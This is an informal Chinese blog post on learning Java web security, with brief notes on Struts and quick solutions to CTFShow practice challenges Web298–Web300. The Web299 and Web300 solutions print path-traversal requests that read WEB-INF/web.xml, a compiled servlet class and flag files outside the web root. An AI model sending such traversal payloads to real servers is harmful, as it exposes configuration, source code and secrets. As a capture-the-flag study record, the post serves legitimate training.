CTF:JAVA Web学习记录与总结
啥也不会,随便写写了
CTF:JAVA Web学习记录与总结
一、Java 语言基础
因为我也不太会 不写了
二、Java Web开发基础
2.1 Java Web开发基础知识
什么是struts?
Struts是一个开源的Java Web应用程序框架,用于开发基于Java的企业级Web应用程序。它提供了一套功能强大的工具和库,以简化Web应用程序的开发过程。
Struts框架遵循了MVC(Model-View-Controller)设计模式,它将应用程序的不同方面分离开来,使开发人员能够更好地组织和管理代码。
2.2 Java Web开发环境搭建
三、CTFShow题解
Web279-Web282
之前做过了 都比较无聊 不写了
Web283
都好无聊啊
Web298
这题好像还行 玩玩看
1.war包可以直接用bandzip解压
2.JD-GUI真好用
3.Java中对string的==比较比较的是地址
4.本题应该配置了tomcat的context是/ctfshow,但是对应的配置文件原来应该在META-INF中,没有给出
Web299
首先需要读取web.xml文件:
1 | /view-source?file=/WEB-INF/web.xml |
直接读取getFlag类:
1 | /view-source?file=/WEB-INF/classes/com/ctfshow/servlet/GetFlag.class |
读flag:
1 | /view-source?file=../../../../../fl3g |
什么答辩题目
还是学习一下WEB-INF的目录结构:类名叫com.ctfshow.servlet.GetFlag,目录就是
/WEB-INF/classes/com/ctfshow/servlet/GetFlag.class 可以看出来关系还是很明显的
Web300
paylaod:?file=../../../../../f1bg
跟上面一题一样 直接抄了
emm总体感觉这些题不太行,收获不大
- 标题: CTF:JAVA Web学习记录与总结
- 作者: yansui
- 创建于: 2023-07-12 23:47:20
- 更新于: 2023-07-12 23:46:51
- 链接: http://yansui.xyz/2023/07/12/Java/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论